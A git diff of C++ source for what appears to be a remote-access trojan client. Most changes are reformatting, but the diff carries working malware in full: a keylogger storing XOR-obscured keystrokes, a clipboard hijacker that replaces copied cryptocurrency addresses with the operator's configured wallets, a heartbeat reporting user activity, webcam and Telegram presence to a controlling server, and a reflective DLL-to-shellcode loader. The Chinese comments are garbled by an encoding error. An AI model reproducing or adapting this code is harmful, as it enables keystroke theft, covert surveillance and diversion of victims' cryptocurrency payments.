GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle)); + return std::string(windowTitle); + } - DWORD GetLastInputTime() - { - LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) }; - GetLastInputInfo(&lii); - return lii.dwTime; - } + DWORD GetLastInputTime() + { + LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) }; + GetLastInputInfo(&lii); + return lii.dwTime; + } - DWORD GetUserIdleTime() - { - return (GetTickCount64() - GetLastInputTime()); - } + DWORD GetUserIdleTime() + { + return (GetTickCount64() - GetLastInputTime()); + } - bool IsWorkstationLocked() { - HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ); - // ޷棬ΪѾл Winlogon - if (!hInput) return true; - char name[256] = {0}; - DWORD needed; - bool isLocked = false; - if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) { - isLocked = (_stricmp(name, "Winlogon") == 0); - } - CloseDesktop(hInput); - return isLocked; - } + bool IsWorkstationLocked() + { + HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ); + // ޷棬ΪѾл Winlogon + if (!hInput) return true; + char name[256] = {0}; + DWORD needed; + bool isLocked = false; + if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) { + isLocked = (_stricmp(name, "Winlogon") == 0); + } + CloseDesktop(hInput); + return isLocked; + } }; struct RttEstimator { - double srtt = 0.0; // ƽ RTT () - double rttvar = 0.0; // RTT () - double rto = 0.0; // ʱʱ () - bool initialized = false; + double srtt = 0.0; // ƽ RTT () + double rttvar = 0.0; // RTT () + double rto = 0.0; // ʱʱ () + bool initialized = false; - void update_from_sample(double rtt_ms) { - const double alpha = 1.0 / 8; - const double beta = 1.0 / 4; + void update_from_sample(double rtt_ms) + { + const double alpha = 1.0 / 8; + const double beta = 1.0 / 4; - // ת - double rtt = rtt_ms / 1000.0; + // ת + double rtt = rtt_ms / 1000.0; - if (!initialized) { - srtt = rtt; - rttvar = rtt / 2.0; - rto = srtt + 4.0 * rttvar; - initialized = true; - } - else { - rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt); - srtt = (1.0 - alpha) * srtt + alpha * rtt; - rto = srtt + 4.0 * rttvar; - } + if (!initialized) { + srtt = rtt; + rttvar = rtt / 2.0; + rto = srtt + 4.0 * rttvar; + initialized = true; + } else { + rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt); + srtt = (1.0 - alpha) * srtt + alpha * rtt; + rto = srtt + 4.0 * rttvar; + } - // С RTORFC 6298 Ƽ 1 룩 - if (rto < 1.0) rto = 1.0; - } + // С RTORFC 6298 Ƽ 1 룩 + if (rto < 1.0) rto = 1.0; + } }; -class CKernelManager : public CManager +class CKernelManager : public CManager { public: - CONNECT_ADDRESS* m_conn; - HINSTANCE m_hInstance; - CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); - virtual ~CKernelManager(); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - ThreadInfo* m_hKeyboard; - ThreadInfo m_hThread[MAX_THREADNUM]; - // ֵԭڼ¼߳߳ʱm_hThreadԽ³쳣 - // ҽֵĺ޸Ϊ"߳±"m_hThreadָλÿãµ̷߳ڸλ - ULONG m_ulThreadCount; - UINT GetAvailableIndex(); - State& g_bExit; // Hide base class variable - MasterSettings m_settings; - RttEstimator m_nNetPing; // ״ - // - int SendHeartbeat() { - for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) - Sleep(1000); - if (m_settings.ReportInterval <= 0) { // رϱϢ - for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i) - Sleep(1000); - return 0; - } - if (g_bExit || !m_ClientObject->IsConnected()) - return -1; + CONNECT_ADDRESS* m_conn; + HINSTANCE m_hInstance; + CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); + virtual ~CKernelManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + ThreadInfo* m_hKeyboard; + ThreadInfo m_hThread[MAX_THREADNUM]; + // ֵԭڼ¼߳߳ʱm_hThreadԽ³쳣 + // ҽֵĺ޸Ϊ"߳±"m_hThreadָλÿãµ̷߳ڸλ + ULONG m_ulThreadCount; + UINT GetAvailableIndex(); + State& g_bExit; // Hide base class variable + MasterSettings m_settings; + RttEstimator m_nNetPing; // ״ + // + int SendHeartbeat() + { + for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) + Sleep(1000); + if (m_settings.ReportInterval <= 0) { // رϱϢ + for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i) + Sleep(1000); + return 0; + } + if (g_bExit || !m_ClientObject->IsConnected()) + return -1; - ActivityWindow checker; - auto s = checker.Check(); - Heartbeat a(s, m_nNetPing.srtt); + ActivityWindow checker; + auto s = checker.Check(); + Heartbeat a(s, m_nNetPing.srtt); - a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware); + a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware); - BYTE buf[sizeof(Heartbeat) + 1]; - buf[0] = TOKEN_HEARTBEAT; - memcpy(buf + 1, &a, sizeof(Heartbeat)); - m_ClientObject->Send2Server((char*)buf, sizeof(buf)); - return 0; - } - bool SoftwareCheck(int type) { - static std::map m = { - {SOFTWARE_CAMERA, "ͷ"}, - {SOFTWARE_TELEGRAM, "telegram.exe" }, - }; - static bool hasCamera = WebCamIsExist(); - return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] }); - } - // Ƿ - bool IsProcessRunning(const std::vector& processNames) { - PROCESSENTRY32 pe32; - pe32.dwSize = sizeof(PROCESSENTRY32); + BYTE buf[sizeof(Heartbeat) + 1]; + buf[0] = TOKEN_HEARTBEAT; + memcpy(buf + 1, &a, sizeof(Heartbeat)); + m_ClientObject->Send2Server((char*)buf, sizeof(buf)); + return 0; + } + bool SoftwareCheck(int type) + { + static std::map m = { + {SOFTWARE_CAMERA, "ͷ"}, + {SOFTWARE_TELEGRAM, "telegram.exe" }, + }; + static bool hasCamera = WebCamIsExist(); + return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] }); + } + // Ƿ + bool IsProcessRunning(const std::vector& processNames) + { + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); - // ȡǰϵͳн̵Ŀ - HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hProcessSnap == INVALID_HANDLE_VALUE) - return true; + // ȡǰϵͳн̵Ŀ + HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) + return true; - // н - if (Process32First(hProcessSnap, &pe32)) { - do { - for (const auto& processName : processNames) { - // ƥ䣬򷵻 true - if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) { - CloseHandle(hProcessSnap); - return true; - } - } - } while (Process32Next(hProcessSnap, &pe32)); - } + // н + if (Process32First(hProcessSnap, &pe32)) { + do { + for (const auto& processName : processNames) { + // ƥ䣬򷵻 true + if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) { + CloseHandle(hProcessSnap); + return true; + } + } + } while (Process32Next(hProcessSnap, &pe32)); + } - CloseHandle(hProcessSnap); - return false; - } + CloseHandle(hProcessSnap); + return false; + } }; #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 930f1fb..a66922c 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -40,13 +40,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user m_bIsOfflineRecord = offline; char path[MAX_PATH] = { "C:\\Windows\\" }; - GET_FILEPATH(path, skCrypt(KEYLOG_FILE)); + GET_FILEPATH(path, skCrypt(KEYLOG_FILE)); strcpy_s(m_strRecordFile, path); m_Buffer = new CircularBuffer(m_strRecordFile); m_bIsWorking = true; - iniFile cfg(CLIENT_PATH); - m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); + iniFile cfg(CLIENT_PATH); + m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); @@ -67,13 +67,14 @@ CKeyboardManager1::~CKeyboardManager1() delete m_Buffer; } -void CKeyboardManager1::Notify() { +void CKeyboardManager1::Notify() +{ if (NULL == this) return; - + m_mu.Lock(); - iniFile cfg(CLIENT_PATH); - m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); + iniFile cfg(CLIENT_PATH); + m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_mu.Unlock(); sendStartKeyBoard(); WaitForDialogOpen(); @@ -97,11 +98,12 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize) } } -std::vector CKeyboardManager1::GetWallet() { - m_mu.Lock(); - auto w = m_Wallet; - m_mu.Unlock(); - return w; +std::vector CKeyboardManager1::GetWallet() +{ + m_mu.Lock(); + auto w = m_Wallet; + m_mu.Unlock(); + return w; } int CKeyboardManager1::sendStartKeyBoard() @@ -429,7 +431,7 @@ BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowC SYSTEMTIME s; GetLocalTime(&s); sprintf(szText, _T("\r\n[:] %s\r\n[ʱ:]%d-%02d-%02d %02d:%02d:%02d\r\n"), - WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond); + WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond); } memset(WindowCaption, 0, CAPTION_SIZE); ReturnFlag=TRUE; @@ -464,65 +466,67 @@ DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam) } -int CALLBACK WriteBuffer(const char* record, void* user) { +int CALLBACK WriteBuffer(const char* record, void* user) +{ CircularBuffer* m_Buffer = (CircularBuffer*)user; m_Buffer->Write(record, strlen(record)); - return 0; + return 0; } -DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) { - CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; - while (pThis->m_bIsWorking) { - auto w = pThis->GetWallet(); - if (!w.empty() && clip::has(clip::text_format())) { - std::string value; - clip::get_text(value); +DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) +{ + CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; + while (pThis->m_bIsWorking) { + auto w = pThis->GetWallet(); + if (!w.empty() && clip::has(clip::text_format())) { + std::string value; + clip::get_text(value); if (value.length() > 200) { Sleep(1000); continue; } - auto type = detectWalletType(value); - switch (type) { + auto type = detectWalletType(value); + switch (type) { case WALLET_UNKNOWN: break; - case WALLET_BTC_P2PKH: - case WALLET_BTC_P2SH: - case WALLET_BTC_BECH32: - if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]); - break; - case WALLET_ETH_ERC20: - if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]); - break; - case WALLET_USDT_OMNI: - if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]); - break; - case WALLET_USDT_TRC20: - if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]); - break; - case WALLET_TRON: - if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]); - break; - case WALLET_SOLANA: - if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]); - break; - case WALLET_XRP: - if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]); - break; - case WALLET_POLKADOT: - if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]); - break; - case WALLET_CARDANO_SHELLEY: - case WALLET_CARDANO_BYRON: - if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]); - break; - case WALLET_DOGE: - if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]); - break; - } - } + case WALLET_BTC_P2PKH: + case WALLET_BTC_P2SH: + case WALLET_BTC_BECH32: + if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]); + break; + case WALLET_ETH_ERC20: + if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]); + break; + case WALLET_USDT_OMNI: + if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]); + break; + case WALLET_USDT_TRC20: + if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]); + break; + case WALLET_TRON: + if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]); + break; + case WALLET_SOLANA: + if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]); + break; + case WALLET_XRP: + if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]); + break; + case WALLET_POLKADOT: + if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]); + break; + case WALLET_CARDANO_SHELLEY: + case WALLET_CARDANO_BYRON: + if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]); + break; + case WALLET_DOGE: + if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]); + break; + } + } Sleep(1000); - } - return 0x20251005; + } + return 0x20251005; } DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) @@ -530,29 +534,29 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam; MSG msg; TCHAR KeyBuffer[2048] = {}; - TCHAR szText[CAPTION_SIZE] = {}; + TCHAR szText[CAPTION_SIZE] = {}; TCHAR WindowCaption[CAPTION_SIZE] = {}; HWND PreviousFocus = NULL; GET_PROCESS(DLLS[USER32], GetAsyncKeyState); while(pThis->m_bIsWorking) { - if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) { + if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) { #if USING_KB_HOOK ReleaseHook(); #endif - Sleep(1000); - continue; - } + Sleep(1000); + continue; + } Sleep(5); #if USING_KB_HOOK - if (!SetHook(WriteBuffer, pThis->m_Buffer)) { - return -1; - } - while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)); + if (!SetHook(WriteBuffer, pThis->m_Buffer)) { + return -1; + } + while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)); #else int num = lstrlen(KeyBuffer); if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) { bool newWindowInput = strlen(szText); - if (newWindowInput){// µĴм + if (newWindowInput) { // µĴм lstrcat(KeyBuffer, szText); memset(szText, 0, sizeof(szText)); } diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index 3a2fd22..4db2fbd 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -17,200 +17,209 @@ #define BUFFER_SIZE 10*1024*1024 // ѭ -class CircularBuffer { +class CircularBuffer +{ private: - char* m_buffer; // - int m_size; // С - int m_write; // дָ - int m_read; // ָ - CRITICAL_SECTION m_cs; // ߳ͬ - char m_key; // XOR ӽܵԿ + char* m_buffer; // + int m_size; // С + int m_write; // дָ + int m_read; // ָ + CRITICAL_SECTION m_cs; // ߳ͬ + char m_key; // XOR ӽܵԿ public: - // 캯ļ - CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`') - : m_size(size), m_write(0), m_read(0), m_key(key) { - m_buffer = new char[m_size](); - InitializeCriticalSection(&m_cs); - LoadDataFromFile(filename); - } + // 캯ļ + CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`') + : m_size(size), m_write(0), m_read(0), m_key(key) + { + m_buffer = new char[m_size](); + InitializeCriticalSection(&m_cs); + LoadDataFromFile(filename); + } - // Դ - ~CircularBuffer() { - DeleteCriticalSection(&m_cs); - delete[] m_buffer; - } + // Դ + ~CircularBuffer() + { + DeleteCriticalSection(&m_cs); + delete[] m_buffer; + } - // ջ - void Clear() { - EnterCriticalSection(&m_cs); + // ջ + void Clear() + { + EnterCriticalSection(&m_cs); - // öдָ - m_write = 0; - m_read = 0; - memset(m_buffer, 0, m_size); + // öдָ + m_write = 0; + m_read = 0; + memset(m_buffer, 0, m_size); - LeaveCriticalSection(&m_cs); - } + LeaveCriticalSection(&m_cs); + } - // /ܲXOR - void XORData(char* data, int length) { - for (int i = 0; i < length; i++) { - data[i] ^= m_key; // Կ XOR - } - } + // /ܲXOR + void XORData(char* data, int length) + { + for (int i = 0; i < length; i++) { + data[i] ^= m_key; // Կ XOR + } + } - // ļݵ - bool LoadDataFromFile(const std::string& filename) { - EnterCriticalSection(&m_cs); + // ļݵ + bool LoadDataFromFile(const std::string& filename) + { + EnterCriticalSection(&m_cs); - // ļ - HANDLE hFile = CreateFileA( - filename.c_str(), // ļ· - GENERIC_READ, // ֻȨ - 0, // - NULL, // Ĭϰȫ - OPEN_EXISTING, // ļ - FILE_ATTRIBUTE_NORMAL, // ļ - NULL // Ҫģļ - ); + // ļ + HANDLE hFile = CreateFileA( + filename.c_str(), // ļ· + GENERIC_READ, // ֻȨ + 0, // + NULL, // Ĭϰȫ + OPEN_EXISTING, // ļ + FILE_ATTRIBUTE_NORMAL, // ļ + NULL // Ҫģļ + ); - if (hFile == INVALID_HANDLE_VALUE) { - LeaveCriticalSection(&m_cs); - Mprintf("Failed to open file '%s' for reading\n", filename.c_str()); - return false; - } + if (hFile == INVALID_HANDLE_VALUE) { + LeaveCriticalSection(&m_cs); + Mprintf("Failed to open file '%s' for reading\n", filename.c_str()); + return false; + } - // ȡļ - DWORD bytesRead = 0; - while (m_write < m_size) { - if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) { - break; - } - XORData(m_buffer + m_write, bytesRead); // - m_write = (m_write + bytesRead) % m_size; - } + // ȡļ + DWORD bytesRead = 0; + while (m_write < m_size) { + if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) { + break; + } + XORData(m_buffer + m_write, bytesRead); // + m_write = (m_write + bytesRead) % m_size; + } - // رļ - CloseHandle(hFile); + // رļ + CloseHandle(hFile); - LeaveCriticalSection(&m_cs); - return true; - } + LeaveCriticalSection(&m_cs); + return true; + } - // дݣˣͷд룩 - int Write(const char* data, int length) { - EnterCriticalSection(&m_cs); + // дݣˣͷд룩 + int Write(const char* data, int length) + { + EnterCriticalSection(&m_cs); - for (int i = 0; i < length; i++) { - m_buffer[m_write] = data[i]; - m_write = (m_write + 1) % m_size; + for (int i = 0; i < length; i++) { + m_buffer[m_write] = data[i]; + m_write = (m_write + 1) % m_size; - // дָ׷϶ָʱǰƶָʵָд - if (m_write == m_read) { - m_read = (m_read + 1) % m_size; - } - } + // дָ׷϶ָʱǰƶָʵָд + if (m_write == m_read) { + m_read = (m_read + 1) % m_size; + } + } - LeaveCriticalSection(&m_cs); - return length; // ʵдֽ - } + LeaveCriticalSection(&m_cs); + return length; // ʵдֽ + } - // ָλÿʼȡ - char* Read(int &pos, int &bytesRead) { - EnterCriticalSection(&m_cs); + // ָλÿʼȡ + char* Read(int &pos, int &bytesRead) + { + EnterCriticalSection(&m_cs); - if (pos == 0) { - m_read = m_write + 1; - while (m_read < m_size && m_buffer[m_read] == 0) m_read++; - if (m_read == m_size) m_read = 0; - } else { - m_read = pos; - } - int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); - char* outBuffer = size ? new char[size] : NULL; - for (int i = 0; i < size; i++) { - if (m_read == m_write) { // Ϊ - break; - } - outBuffer[i] = m_buffer[m_read]; - m_read = (m_read + 1) % m_size; - bytesRead++; - } - pos = m_write; + if (pos == 0) { + m_read = m_write + 1; + while (m_read < m_size && m_buffer[m_read] == 0) m_read++; + if (m_read == m_size) m_read = 0; + } else { + m_read = pos; + } + int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); + char* outBuffer = size ? new char[size] : NULL; + for (int i = 0; i < size; i++) { + if (m_read == m_write) { // Ϊ + break; + } + outBuffer[i] = m_buffer[m_read]; + m_read = (m_read + 1) % m_size; + bytesRead++; + } + pos = m_write; - LeaveCriticalSection(&m_cs); - return outBuffer; // ʵʶȡֽ - } + LeaveCriticalSection(&m_cs); + return outBuffer; // ʵʶȡֽ + } - // дļܣ - bool WriteAvailableDataToFile(const std::string& filename) { - EnterCriticalSection(&m_cs); + // дļܣ + bool WriteAvailableDataToFile(const std::string& filename) + { + EnterCriticalSection(&m_cs); - // ȡݵĴС - m_read = m_write + 1; - while (m_read < m_size && m_buffer[m_read] == 0) m_read++; - if (m_read == m_size) m_read = 0; - int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); + // ȡݵĴС + m_read = m_write + 1; + while (m_read < m_size && m_buffer[m_read] == 0) m_read++; + if (m_read == m_size) m_read = 0; + int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); - if (totalSize == 0) { - LeaveCriticalSection(&m_cs); - return true; // ûݿд - } + if (totalSize == 0) { + LeaveCriticalSection(&m_cs); + return true; // ûݿд + } - // ļԽд - HANDLE hFile = CreateFileA( - filename.c_str(), // ļ· - GENERIC_WRITE, // дȨ - 0, // - NULL, // Ĭϰȫ - CREATE_ALWAYS, // ļ򸲸 - FILE_ATTRIBUTE_NORMAL, // ļ - NULL // Ҫģļ - ); + // ļԽд + HANDLE hFile = CreateFileA( + filename.c_str(), // ļ· + GENERIC_WRITE, // дȨ + 0, // + NULL, // Ĭϰȫ + CREATE_ALWAYS, // ļ򸲸 + FILE_ATTRIBUTE_NORMAL, // ļ + NULL // Ҫģļ + ); - if (hFile == INVALID_HANDLE_VALUE) { - LeaveCriticalSection(&m_cs); - return false; // ļʧ - } + if (hFile == INVALID_HANDLE_VALUE) { + LeaveCriticalSection(&m_cs); + return false; // ļʧ + } - // д뻺е - int bytesWritten = 0; - DWORD bytesToWrite = totalSize; - const int size = 64*1024; - char *buffer = new char[size]; - while (bytesWritten < totalSize) { - DWORD bufferSize = min(bytesToWrite, size); + // д뻺е + int bytesWritten = 0; + DWORD bytesToWrite = totalSize; + const int size = 64*1024; + char *buffer = new char[size]; + while (bytesWritten < totalSize) { + DWORD bufferSize = min(bytesToWrite, size); - // 仺 - for (int i = 0; i < bufferSize && m_read != m_write; ) { - buffer[i++] = m_buffer[m_read]; - m_read = (m_read + 1) % m_size; - } + // 仺 + for (int i = 0; i < bufferSize && m_read != m_write; ) { + buffer[i++] = m_buffer[m_read]; + m_read = (m_read + 1) % m_size; + } - // - XORData(buffer, bufferSize); + // + XORData(buffer, bufferSize); - // дļ - DWORD bytesActuallyWritten = 0; - if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) { - CloseHandle(hFile); - LeaveCriticalSection(&m_cs); - delete[] buffer; - return false; // дʧ - } + // дļ + DWORD bytesActuallyWritten = 0; + if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) { + CloseHandle(hFile); + LeaveCriticalSection(&m_cs); + delete[] buffer; + return false; // дʧ + } - bytesWritten += bytesActuallyWritten; - bytesToWrite -= bytesActuallyWritten; - } - delete[] buffer; + bytesWritten += bytesActuallyWritten; + bytesToWrite -= bytesActuallyWritten; + } + delete[] buffer; - // رļ - CloseHandle(hFile); - LeaveCriticalSection(&m_cs); + // رļ + CloseHandle(hFile); + LeaveCriticalSection(&m_cs); - return true; - } + return true; + } }; class CKeyboardManager1 : public CManager @@ -220,11 +229,11 @@ public: virtual ~CKeyboardManager1(); virtual void Notify(); virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize); - static DWORD WINAPI Clipboard(LPVOID lparam); + static DWORD WINAPI Clipboard(LPVOID lparam); static DWORD WINAPI KeyLogger(LPVOID lparam); static DWORD WINAPI SendData(LPVOID lparam); BOOL m_bIsOfflineRecord; - HANDLE m_hClipboard; + HANDLE m_hClipboard; HANDLE m_hWorkThread,m_hSendThread; TCHAR m_strRecordFile[MAX_PATH]; private: @@ -234,10 +243,10 @@ private: int sendKeyBoardData(LPBYTE lpData, UINT nSize); bool m_bIsWorking; - CircularBuffer *m_Buffer; - CLocker m_mu; - std::vector m_Wallet; - std::vector GetWallet(); + CircularBuffer *m_Buffer; + CLocker m_mu; + std::vector m_Wallet; + std::vector GetWallet(); }; #undef BUFFER_SIZE diff --git a/client/Loader.cpp b/client/Loader.cpp index 6bcec04..95d19c2 100644 --- a/client/Loader.cpp +++ b/client/Loader.cpp @@ -20,317 +20,314 @@ FARPROC GetProcAddressR(HMODULE hModule, LPCSTR lpProcName) { - if (hModule == NULL || lpProcName == NULL) - return NULL; + if (hModule == NULL || lpProcName == NULL) + return NULL; - PIMAGE_NT_HEADERS ntHeaders = RVA(PIMAGE_NT_HEADERS, hModule, ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); - PIMAGE_DATA_DIRECTORY dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - if (!dataDir->Size) - return NULL; + PIMAGE_NT_HEADERS ntHeaders = RVA(PIMAGE_NT_HEADERS, hModule, ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); + PIMAGE_DATA_DIRECTORY dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!dataDir->Size) + return NULL; - PIMAGE_EXPORT_DIRECTORY exportDir = RVA(PIMAGE_EXPORT_DIRECTORY, hModule, dataDir->VirtualAddress); - if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions) - return NULL; + PIMAGE_EXPORT_DIRECTORY exportDir = RVA(PIMAGE_EXPORT_DIRECTORY, hModule, dataDir->VirtualAddress); + if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions) + return NULL; - PDWORD expName = RVA(PDWORD, hModule, exportDir->AddressOfNames); - PWORD expOrdinal = RVA(PWORD, hModule, exportDir->AddressOfNameOrdinals); - LPCSTR expNameStr; + PDWORD expName = RVA(PDWORD, hModule, exportDir->AddressOfNames); + PWORD expOrdinal = RVA(PWORD, hModule, exportDir->AddressOfNameOrdinals); + LPCSTR expNameStr; - for (DWORD i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) { + for (DWORD i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) { - expNameStr = RVA(LPCSTR, hModule, *expName); + expNameStr = RVA(LPCSTR, hModule, *expName); - if (!expNameStr) - break; + if (!expNameStr) + break; - if (!_stricmp(lpProcName, expNameStr)) { - DWORD funcRva = *RVA(PDWORD, hModule, exportDir->AddressOfFunctions + (*expOrdinal * 4)); - return RVA(FARPROC, hModule, funcRva); - } - } + if (!_stricmp(lpProcName, expNameStr)) { + DWORD funcRva = *RVA(PDWORD, hModule, exportDir->AddressOfFunctions + (*expOrdinal * 4)); + return RVA(FARPROC, hModule, funcRva); + } + } - return NULL; + return NULL; } BOOL Is64BitDLL(UINT_PTR uiLibraryAddress) { - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); - if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) return true; - else return false; + if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) return true; + else return false; } DWORD GetFileContents(LPCSTR filename, LPSTR *data, DWORD &size) { - std::FILE *fp = std::fopen(filename, "rb"); + std::FILE *fp = std::fopen(filename, "rb"); - if (fp) - { - fseek(fp, 0, SEEK_END); - size = ftell(fp); - fseek(fp, 0, SEEK_SET); + if (fp) { + fseek(fp, 0, SEEK_END); + size = ftell(fp); + fseek(fp, 0, SEEK_SET); - *data = (LPSTR)malloc(size + 1); - fread(*data, size, 1, fp); - fclose(fp); - return true; - } - return false; + *data = (LPSTR)malloc(size + 1); + fread(*data, size, 1, fp); + fclose(fp); + return true; + } + return false; } -DWORD HashFunctionName(LPSTR name) { - DWORD hash = 0; +DWORD HashFunctionName(LPSTR name) +{ + DWORD hash = 0; - do - { - hash = ROTR32(hash, 13); - hash += *name; - name++; - } while (*(name - 1) != 0); + do { + hash = ROTR32(hash, 13); + hash += *name; + name++; + } while (*(name - 1) != 0); - return hash; + return hash; } BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, DWORD flags, LPSTR &outBytes, DWORD &outLength) { - const char* rdiShellcode = NULL; - DWORD rdiShellcodeLength, dllOffset, userDataLocation; + const char* rdiShellcode = NULL; + DWORD rdiShellcodeLength, dllOffset, userDataLocation; #if 0 // _DEBUG - LPSTR rdiShellcode64 = NULL, rdiShellcode32 = NULL; - DWORD rdiShellcode64Length = 0, rdiShellcode32Length = 0; - GetFileContents("../bin/ShellcodeRDI_x64.bin", &rdiShellcode64, rdiShellcode64Length); - GetFileContents("../bin/ShellcodeRDI_x86.bin", &rdiShellcode32, rdiShellcode32Length); + 